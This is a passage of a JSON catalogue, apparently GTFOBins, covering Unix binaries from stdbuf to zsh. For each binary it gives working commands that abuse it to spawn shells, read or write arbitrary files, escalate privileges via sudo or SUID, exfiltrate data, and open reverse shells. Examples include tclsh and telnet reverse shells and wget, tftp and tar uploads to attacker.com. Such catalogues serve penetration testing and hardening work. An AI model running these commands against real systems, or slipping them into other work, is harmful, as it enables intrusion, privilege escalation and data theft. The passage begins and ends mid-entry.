/bin/sh","contexts":{"sudo":null,"suid":{"code":"start-stop-daemon -S -x /bin/sh -- -p","shell":false},"unprivileged":null}}]}},"stdbuf": {"functions":{"shell":[{"code":"stdbuf -i0 /bin/sh","contexts":{"sudo":null,"suid":{"code":"stdbuf -i0 /bin/sh -p","shell":false},"unprivileged":null}}]}},"strace": {"functions":{"file-write":[{"code":"strace -s 999 -o /path/to/output-file strace - DATA","comment":"The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`.","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"strace -o /dev/null /bin/sh","contexts":{"sudo":null,"suid":{"code":"strace -o /dev/null /bin/sh -p","shell":false},"unprivileged":null}}]}},"strings": {"functions":{"file-read":[{"binary":false,"code":"strings /path/to/input-file","comment":"This only returns ASCII strings.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"su": {"functions":{"shell":[{"code":"su -c /bin/sh","contexts":{"sudo":null}}]}},"sudo": {"functions":{"shell":[{"code":"sudo /bin/sh","contexts":{"sudo":{"comment":"The invocation is actually `sudo sudo ...`."}}}]}},"sysctl": {"functions":{"command":[{"blind":true,"code":"sysctl 'kernel.core_pattern=|/path/to/command'","comment":"The command is executed by `root` in the background when a core dump occurs.\n\nTo trigger a core dump, send the `SIGQUIT` signal to a process, for example:\n\n```\nsleep infinity &\nkill -QUIT $!\n```","contexts":{"sudo":null,"suid":null}}],"file-read":[{"binary":false,"code":"sysctl -n \"/../../path/to/input-file\"","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"< 4"}]}},"systemctl": {"functions":{"inherit":[{"code":"systemctl","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"echo '[Service]\nType=oneshot\nExecStart=/path/to/command\n[Install]\nWantedBy=multi-user.target' >/path/to/temp-file.service\nsystemctl link /path/to/temp-file.service\nsystemctl enable --now /path/to/temp-file.service","comment":"It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it.","contexts":{"sudo":null,"suid":null}},{"code":"echo /bin/sh >/path/to/temp-file\nchmod +x /path/to/temp-file\nSYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target","contexts":{"sudo":null}}]}},"systemd-resolve": {"functions":{"inherit":[{"code":"systemd-resolve --status","contexts":{"sudo":null},"from":"less"}]}},"systemd-run": {"functions":{"command":[{"blind":true,"code":"systemd-run /path/to/command","contexts":{"sudo":null}}],"shell":[{"code":"systemd-run -S","contexts":{"sudo":null}},{"code":"systemd-run -t /bin/sh","contexts":{"sudo":null}}]}},"tac": {"functions":{"file-read":[{"binary":false,"code":"tac -s 'RANDOM' /path/to/input-file","comment":"Make sure that `RANDOM` does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of `RANDOM`-separated chunks.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tail": {"functions":{"file-read":[{"code":"tail -c+0 /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tailscale": {"functions":{"upload":[{"code":"tailscale serve --http=12345 /path/to/input-file","comment":"The URL is reachable by any host of the same Tailnet.","contexts":{"sudo":null},"receiver":{"code":"curl http://<hostname>.<tailnet>.ts.net:12345/ -o /path/to/output-file","comment":"An HTTP client can be used on the attacker box to receive the data.\n\nThe actual URL is returned by the command."}}]}},"tar": {"functions":{"download":[{"code":"tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh","comment":"The attacker box must have the `rmt` utility installed.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"ssh-server","version":"GNU"}],"file-read":[{"code":"tar cf /dev/stdout /path/to/input-file -I 'tar xO'","comment":"The file is read then passed to the specified command (e.g., `tar xO`) via standard input.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}],"file-write":[{"code":"echo DATA >/path/to/temp-file\ntar cf /path/to/temp-file.tar /path/to/temp-file\ntar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@","comment":"The archive can also be prepared offline then uploaded to the target.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}],"shell":[{"code":"tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"tar xf /dev/null -I '/bin/sh -c \"/bin/sh 0<&2 1>&2\"'","contexts":{"sudo":null,"suid":{"code":"tar xf /dev/null -I '/bin/sh -c \"/bin/sh 0<&2 1>&2\"'","shell":false},"unprivileged":null},"version":"GNU"},{"code":"echo '/bin/sh 0<&1' >/path/to/temp-file\ntar cf /path/to/temp-file.tar /path/to/temp-file\ntar xf /path/to/temp-file.tar --to-command /bin/sh","comment":"The archive can also be prepared offline then uploaded to the target.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}],"upload":[{"code":"tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh","comment":"The attacker box must have the `rmt` utility installed.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"ssh-server","version":"GNU"}]}},"task": {"functions":{"shell":[{"code":"task execute /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"taskset": {"functions":{"shell":[{"code":"taskset 1 /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"tasksh": {"functions":{"shell":[{"code":"tasksh\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"tbl": {"functions":{"file-read":[{"binary":false,"code":"tbl /path/to/input-file","comment":"The read file content is corrupted by additional text at the beginning.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tclsh": {"functions":{"library-load":[{"code":"tclsh\nload /path/to/lib.so x","contexts":{"capabilities":null,"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"tclsh\nset s [socket attacker.com 12345];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;","contexts":{"sudo":null,"suid":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"tclsh","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tcpdump": {"functions":{"command":[{"code":"echo /path/to/command >/path/to/temp-file\nchmod +x /path/to/temp-file\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file","comment":"This requires some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.","contexts":{"sudo":{"code":"echo /path/to/command >/path/to/temp-file\nchmod +x /path/to/temp-file\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file -Z root"},"unprivileged":null},"version":"In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following."},{"code":"tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command","comment":"This require some traffic to be actually captured. Also note that the `command-argument` string is both passed to the command and written as file, hence some restrictions apply.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user","comment":"This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like:\n\n```\nnc -u localhost 1 <<<DATA\n```\n\nWhile `user` is the owner of the packet dump file, the invoking user must be able to capture traffic on the device.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tcsh": {"functions":{"file-write":[{"code":"tcsh -c 'echo DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":{"code":"tcsh -bc 'echo DATA >/path/to/output-file'"},"unprivileged":null}}],"shell":[{"code":"tcsh","contexts":{"sudo":null,"suid":{"code":"tcsh -b"},"unprivileged":null}}]}},"tdbtool": {"functions":{"shell":[{"code":"tdbtool\n! /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"tee": {"functions":{"file-write":[{"code":"echo DATA | tee /path/to/output-file","comment":"Use `-a` to append data to exising files.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"telnet": {"functions":{"reverse-shell":[{"code":"mkfifo /path/to/temp-socket\ntelnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket","comment":"The shell process is not spawn by `openssl`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"telnet\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"terraform": {"functions":{"file-read":[{"binary":false,"code":"terraform console\nfile(\"/path/to/input-file\")","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tex": {"functions":{"shell":[{"code":"tex --shell-escape '\\immediate\\write18{/bin/sh}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"tftp": {"functions":{"download":[{"code":"tftp attacker.com\nget /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":{"code":"atftpd --no-fork --verbose --daemon --no-fork --user root.root .","comment":"A TFTP server can be used on the attacker box to send the data."}}],"upload":[{"code":"tftp attacker.com\nput /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":{"code":"atftpd --no-fork --verbose --daemon --no-fork --user root.root .","comment":"A TFTP server can be used on the attacker box to receive the data."}}]}},"tic": {"functions":{"file-read":[{"code":"tic -C /path/to/input-file","comment":"This translates a terminfo file from source format into compiled format. It will attempt to translate an arbitrary file and output the contents of the file on failure.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"time": {"functions":{"shell":[{"code":"time /bin/sh","comment":"Note that the shell might have its own builtin `time` implementation, which may behave differently than the binary, which is often located at `/usr/bin/time`.","contexts":{"sudo":null,"suid":{"code":"time /bin/sh -p","shell":false},"unprivileged":null}}]}},"timedatectl": {"comment":"This might not work if run by unprivileged users depending on the system configuration.","functions":{"inherit":[{"code":"timedatectl list-timezones","contexts":{"sudo":null,"unprivileged":null},"from":"less"}]}},"timeout": {"functions":{"shell":[{"code":"timeout 0 /bin/sh","contexts":{"sudo":null,"suid":{"code":"timeout 0 /bin/sh -p","shell":false},"unprivileged":null}}]}},"tmate": {"functions":{"shell":[{"code":"tmate -c /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"tmux": {"functions":{"file-read":[{"binary":false,"code":"tmux -f /path/to/input-file","comment":"The file is read and parsed as a `tmux` configuration file, part of the first invalid line is returned in an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"tmux -c /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"tmux -S /path/to/socket","comment":"Provided to have enough permissions to access the socket (e.g., `/tmp/tmux-xxx/default`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"< 3.3"}]}},"top": {"functions":{"shell":[{"code":"echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc\ntop\n# press return twice\nreset","comment":"The config path might be different.","contexts":{"sudo":null,"unprivileged":null}}]}},"torify": {"functions":{"shell":[{"code":"torify /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"torsocks": {"functions":{"shell":[{"code":"torsocks /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"troff": {"functions":{"file-read":[{"binary":false,"code":"troff /path/to/input-file","comment":"The file is typeset but text is still readable in the output, alternatively the output can be read with `man -l`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"tsc": {"functions":{"file-read":[{"binary":false,"code":"tsc /path/to/input-file.ts","comment":"Content is leaked as error messages. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"tsc /path/to/input-file.ts --outFile /path/to/output-file","comment":"Content is leaked as error messages and written to file. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc.","contexts":{"sudo":null,"unprivileged":null}}]}},"tshark": {"functions":{"inherit":[{"code":"echo '...' >/path/to/temp-file\ntshark -Xlua_script:/path/to/temp-file","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"lua"}]}},"ul": {"functions":{"file-read":[{"binary":false,"code":"ul /path/to/input-file","comment":"The read file content is corrupted by replacing occurrences of `$'\\b_'` to terminal sequences and by converting tabs to spaces.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"unexpand": {"functions":{"file-read":[{"binary":false,"code":"unexpand -t999 /path/to/input-file","comment":"Convert sequences of (e.g., `999`) spaces to tab.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"uniq": {"functions":{"file-read":[{"binary":false,"code":"uniq /path/to/input-file","comment":"The read file content is corrupted by squashing multiple adjacent lines.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"unshare": {"functions":{"shell":[{"code":"unshare /bin/sh","contexts":{"sudo":null,"suid":{"code":"unshare -r /bin/sh"},"unprivileged":null}}]}},"unsquashfs": {"comment":"`unsquashfs` preserve the SUID bit when extracting the file system. For example, prepare an archive beforehand with the following commands as root:\n\n```\ncp /bin/sh .\nchmod +s sh\nmksquashfs sh shell\n```","functions":{"privilege-escalation":[{"code":"unsquashfs shell\n./squashfs-root/sh -p","contexts":{"sudo":null,"suid":null}}]}},"unzip": {"comment":"Certain `unzip` versions allows to preserve the SUID bit. For example, prepare an archive beforehand with the following commands as root:\n\n```\ncp /bin/sh .\nchmod +s sh\nzip shell.zip sh\n```","functions":{"privilege-escalation":[{"code":"unzip -K shell.zip\n./sh -p","contexts":{"sudo":null,"suid":null}}]}},"update-alternatives": {"functions":{"file-write":[{"code":"echo DATA >/path/to/temp-file\nupdate-alternatives --force --install /path/to/output-file x /path/to/temp-file 0","comment":"Write in `/path/to/output-file` a symlink to `/path/to/temp-file`.","contexts":{"sudo":null,"suid":null}}]}},"urlget": {"functions":{"file-read":[{"code":"urlget - /path/to/input-file","comment":"This is part of `gettext` and usually not in `PATH`, e.g., on Arch it can be found at `/usr/lib/gettext/urlget`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"uuencode": {"functions":{"file-read":[{"binary":false,"code":"uuencode /path/to/input-file /dev/stdout | uudecode","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"uv": {"functions":{"shell":[{"code":"uv run /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"vagrant": {"functions":{"inherit":[{"code":"echo '...' >Vagrantfile\nvagrant up","comment":"This allows to run Ruby code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}]}},"valgrind": {"functions":{"shell":[{"code":"valgrind /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"varnishncsa": {"comment":"A running `varnishd` instance must be available.","functions":{"file-write":[{"binary":false,"code":"varnishncsa -g request -q 'ReqURL ~ \"/xxxxxxxxxx\"' -F '%{yyy}i' -w /path/to/output-file","comment":"The command hangs, so the trigger command must be performed asynchronously or in another terminal:\n\n```\ncurl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxx\n```","contexts":{"sudo":null,"suid":null}}]}},"vi": {"functions":{"file-read":[{"code":"vi /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"vi /path/to/output-file\niDATA\n^[\nw","comment":"Where `^[` is the escape key.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"vi -c ':!/bin/sh' /dev/null","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"vi -c ':shell'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"vi -c ':set shell=/bin/sh | shell'","contexts":{"sudo":null,"suid":{"code":"vi -c ':set shell=/bin/sh\\ -p | shell'","shell":false},"unprivileged":null}},{"code":"vi -c :terminal /bin/sh","contexts":{"sudo":null,"suid":{"code":"vi -c ':terminal /bin/sh -p'","shell":false},"unprivileged":null}}]}},"view": {"alias":"vim"},"vigr": {"functions":{"inherit":[{"code":"vigr","comment":"Despite requiring superuser privileges to run, the editor is executed as the unprivileged user.","contexts":{"sudo":null,"suid":null},"from":"vi"}]}},"vim": {"functions":{"file-read":[{"binary":false,"code":"vim -c ':redir! >/path/to/output-file | echo \"DATA\" | redir END | q'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"vim -c ':py ...'","comment":"This allows to run Python code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"python"},{"code":"vim -c ':lua ...'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua"},{"code":"vim","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"vi"}]}},"vimdiff": {"alias":"vim"},"vipw": {"functions":{"inherit":[{"code":"vipw","comment":"Despite requiring superuser privileges to run, the editor is executed as the unprivileged user.","contexts":{"sudo":null,"suid":null},"from":"vi"}]}},"virsh": {"functions":{"command":[{"code":"cat >/path/to/temp-file.xml <<EOF\n<domain type='kvm'>\n  <name>x</name>\n  <os>\n    <type arch='x86_64'>hvm</type>\n  </os>\n  <memory unit='KiB'>1</memory>\n  <devices>\n    <interface type='ethernet'>\n      <script path='/path/to/command'/>\n    </interface>\n  </devices>\n</domain>\nEOF\nvirsh -c qemu:///system create /path/to/temp-file.xml\nvirsh -c qemu:///system destroy x","contexts":{"sudo":null}}],"file-write":[{"code":"echo DATA >/path/to/temp-file\n\ncat >/path/to/temp-file.xml <<EOF\n<volume type='file'>\n  <name>y</name>\n  <key>/path/to/output-dir/output-file</key>\n  <source>\n  </source>\n  <capacity unit='bytes'>5</capacity>\n  <allocation unit='bytes'>4096</allocation>\n  <physical unit='bytes'>5</physical>\n  <target>\n    <path>/path/to/output-dir/output-file</path>\n    <format type='raw'/>\n    <permissions>\n      <mode>0600</mode>\n      <owner>0</owner>\n      <group>0</group>\n    </permissions>\n  </target>\n</volume>\nEOF\n\nvirsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/\nvirsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml\nvirsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file\nvirsh -c qemu:///system pool-destroy x","comment":"This requires the user to be in the `libvirt` group. If the target directory doesn't exist, `pool-create-as` must be run with the `--build` option. The destination file ownership and permissions can be set in the XML.","contexts":{"sudo":null,"unprivileged":null}},{"code":"virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/\nvirsh -c qemu:///system vol-download --pool x input-file output-file\nvirsh -c qemu:///system pool-destroy x","comment":"This requires the user to be in the `libvirt` group.","contexts":{"sudo":null,"unprivileged":null}}]}},"volatility": {"comment":"This allows to run Python code (`...`). Some valid core dump file is required, if not available, can be uploaded to the target.","functions":{"inherit":[{"code":"volatility -f /path/to/core-dump volshell\n...","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"python"}]}},"w3m": {"functions":{"file-read":[{"binary":false,"code":"w3m -dump /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"wall": {"functions":{"file-read":[{"binary":false,"code":"wall --nobanner /path/to/input-file","comment":"The textual file is dumped on the current TTY (neither to `stdout` nor to `stderr`).","contexts":{"sudo":null}}]}},"watch": {"functions":{"shell":[{"code":"watch -x /bin/sh -c 'reset; exec /bin/sh 1>&0 2>&0'","contexts":{"sudo":null,"suid":{"code":"watch -x /bin/sh -p -c 'reset; exec /bin/sh -p 1>&0 2>&0'","shell":false},"unprivileged":null}},{"code":"watch 'reset; exec /bin/sh 1>&0 2>&0'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"wc": {"functions":{"file-read":[{"binary":false,"code":"wc --files0-from /path/to/input-file","comment":"The file content is parsed as a sequence of `\\x00` separated paths. On error the file content appears in a message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"wg-quick": {"functions":{"shell":[{"code":"cat >/path/to/temp-file.conf <<EOF\n[Interface]\nPostUp = /bin/sh\nEOF\n\nwg-quick up /path/to/temp-file.conf","comment":"Use `wg-quick down /path/to/temp-file.conf` in order to be able to run the shell again.","contexts":{"sudo":null}}]}},"wget": {"functions":{"download":[{"code":"wget http://attacker.com/path/to/input-file -O /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"binary":false,"code":"wget -i /path/to/input-file","comment":"The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"wget -i /path/to/input-file -o /path/to/output-file","comment":"The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"echo -e '#!/bin/sh\\n/bin/sh 1>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\nwget --use-askpass=/path/to/temp-file 0","contexts":{"sudo":null,"suid":{"code":"echo -e '#!/bin/sh -p\\n/bin/sh -p 1>&0' >/path/to/temp-file\nchmod +x /path/to/temp-file\nwget --use-askpass=/path/to/temp-file 0","shell":false},"unprivileged":null}}],"upload":[{"code":"wget --post-file=/path/to/input-file http://attacker.com","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"},{"code":"wget --post-data=DATA http://attacker.com","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"}]}},"whiptail": {"functions":{"file-read":[{"binary":false,"code":"whiptail --textbox --scrolltext /path/to/input-file 0 0","comment":"The file is shown in an interactive TUI dialog made for displaying text, arrows can be used to scroll long content.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"whois": {"functions":{"download":[{"code":"whois -h attacker.com -p 12345 x","comment":"Received data has instances of the `\\r` byte stripped.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tcp-server"}],"upload":[{"binary":false,"code":"whois -h attacker.com -p 12345 DATA","comment":"Data is converted to lower case, and has a trailing `\\r\\n`.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-server"}]}},"wireshark": {"functions":{"file-write":[{"code":"wireshark -c 1 -i lo -k -f 'udp port 12345' &\necho DATA | nc -u 127.127.127.127 12345","comment":"This technique can be used to write arbitrary files, i.e., the dump of one UDP packet.\n\nAfter starting Wireshark, and waiting for the capture to begin, deliver the UDP packet, e.g., with `nc` (see below). The capture then stops and the packet dump can be saved:\n\n1. select the only received packet;\n\n2. right-click on \"Data\" from the \"Packet Details\" pane, and select \"Export Packet Bytes...\";\n\n3. choose where to save the packet dump.","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"wireshark","comment":"This requires GUI interaction. Start Wireshark, then from the main menu, select \"Tools\" -> \"Lua\" -> \"Evaluate\". A window opens that allows to execute Lua code.","contexts":{"sudo":null,"unprivileged":null},"from":"lua"}]}},"wish": {"functions":{"inherit":[{"code":"wish","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"tclsh"}]}},"xargs": {"functions":{"file-read":[{"binary":false,"code":"xargs -a /path/to/input-file -0","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}],"shell":[{"code":"xargs -a /dev/null /bin/sh","contexts":{"sudo":null,"suid":{"code":"xargs -a /dev/null /bin/sh -p","shell":false},"unprivileged":null},"version":"GNU"},{"code":"xargs -a /dev/null /bin/sh","contexts":{"sudo":null,"suid":{"code":"xargs -a /dev/null /bin/sh -p","shell":false},"unprivileged":null}},{"code":"echo x | xargs -o -a /dev/null /bin/sh","contexts":{"sudo":null,"suid":{"code":"echo x | xargs -o -a /dev/null /bin/sh -p","shell":false},"unprivileged":null}}]}},"xdg-user-dir": {"comment":"The current implementation of `xdg-user-dir` is basically `eval echo \\${XDG_${1}_DIR:-$HOME}`, thus is can be easily used to achieve command execution.","functions":{"shell":[{"code":"xdg-user-dir '}; /bin/sh #'","contexts":{"sudo":null,"unprivileged":null}}]}},"xdotool": {"comment":"This requires a running X server.","functions":{"shell":[{"code":"xdotool exec --sync /bin/sh","contexts":{"sudo":null,"suid":{"code":"xdotool exec --sync /bin/sh -p","shell":false},"unprivileged":null}}]}},"xelatex": {"alias":"latex"},"xetex": {"alias":"tex"},"xmodmap": {"comment":"This requires a running X server.","functions":{"file-read":[{"binary":false,"code":"xmodmap -v /path/to/input-file","comment":"The read file content is corrupted by error prints.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"xmore": {"comment":"This requires a running X server.","functions":{"file-read":[{"code":"xmore /path/to/input-file","comment":"The file is displayed in a graphical window.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"xpad": {"comment":"This requires a running X server.","functions":{"file-read":[{"code":"xpad -f /path/to/input-file","comment":"The file is displayed in a graphical window.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"xxd": {"functions":{"file-read":[{"code":"xxd /path/to/input-file | xxd -r","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA | xxd | xxd -r - /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"xz": {"functions":{"file-read":[{"code":"xz -c /path/to/input-file | xz -d","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"yarn": {"functions":{"shell":[{"code":"yarn exec /bin/sh","contexts":{"sudo":null,"unprivileged":null}},{"code":"echo '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' >package.json\nyarn --cwd .","contexts":{"sudo":null,"unprivileged":null}},{"code":"echo '{\"scripts\": {\"xxx\": \"/bin/sh\"}}' >package.json\nyarn --cwd . xxx","contexts":{"sudo":null,"unprivileged":null}}]}},"yash": {"functions":{"shell":[{"code":"yash","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"yelp": {"functions":{"file-read":[{"code":"yelp man:/path/to/input-file","comment":"This spawns a graphical window containing the file content somehow corrupted by word wrapping.","contexts":{"sudo":null,"unprivileged":null}}]}},"yt-dlp": {"functions":{"shell":[{"code":"yt-dlp 'https://www.youtube.com/watch?v=xxxxxxxxxxx' --exec '/bin/sh #'","comment":"The URL must point to a valid YouTube video which will be actually downloaded.","contexts":{"sudo":null,"unprivileged":null}}]}},"yum": {"functions":{"command":[{"code":"yum localinstall -y x-1.0-1.noarch.rpm","comment":"Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\necho /path/to/command >x.sh\nfpm -n x -s dir -t rpm -a all --before-install .x.sh .\n```","contexts":{"sudo":null}}],"download":[{"code":"yum install http://attacker.com/path/to/input-file.rpm","comment":"The file on the remote host must have the `.rpm` extension, but the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp/yum-root-xxxxxx/`.","contexts":{"sudo":null},"sender":"http-server"}],"inherit":[{"code":"cat >/path/to/temp-dir/x<<EOF\n[main]\nplugins=1\npluginpath=/path/to/temp-dir/\npluginconfpath=/path/to/temp-dir/\nEOF\n\ncat >/path/to/temp-dir/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >/path/to/temp-dir/y.py<<EOF\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  ...\nEOF\n\nyum -c /path/to/temp-dir/x --enableplugin=y","comment":"This allows to run Python code (`...`).","contexts":{"sudo":null},"from":"python"}]}},"zathura": {"comment":"This requires a running X server.","functions":{"shell":[{"code":"zathura\n:! /bin/sh -c 'exec /bin/sh 0<&1'","comment":"The interaction happens in a GUI window, while the shell is dropped in the terminal.","contexts":{"sudo":null,"unprivileged":null}}]}},"zcat": {"functions":{"file-read":[{"code":"zcat -f /path/to/input-file","contexts":{"sudo":null,"unprivileged":null}}]}},"zgrep": {"functions":{"file-read":[{"code":"grep '' /path/to/input-file","contexts":{"sudo":null,"unprivileged":null}}]}},"zic": {"functions":{"command":[{"code":"echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file\necho 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file\nzic -d . -y /path/to/command /path/to/temp-file","comment":"This executes the command twice:\n\n- `/path/to/command 0 xxx`\n- `/path/to/command 1 xxx`\n\nAdditionally the `Test` file is created.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"zip": {"functions":{"file-read":[{"code":"zip /path/to/temp-file /path/to/input-file\nunzip -p /path/to/temp-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"zip /path/to/temp-file /etc/hosts -T -TT '/bin/sh #'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"zless": {"functions":{"inherit":[{"code":"zless /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}]}},"zsh": {"functions":{"download":[{"binary":false,"code":"zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n \"$(<&$REPLY)\" >/path/to/output-file'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tcp-server"}],"file-read":[{"binary":false,"code":"zsh -c 'echo \"$(</path/to/input-file)\"'","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"zsh -c '</path/to/input-file'","comment":"This spawns a pager if run in a TTY.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"zsh -c 'echo DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"zsh -c '</etc/hosts'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}],"reverse-shell":[{"code":"zsh -c 'zmodload 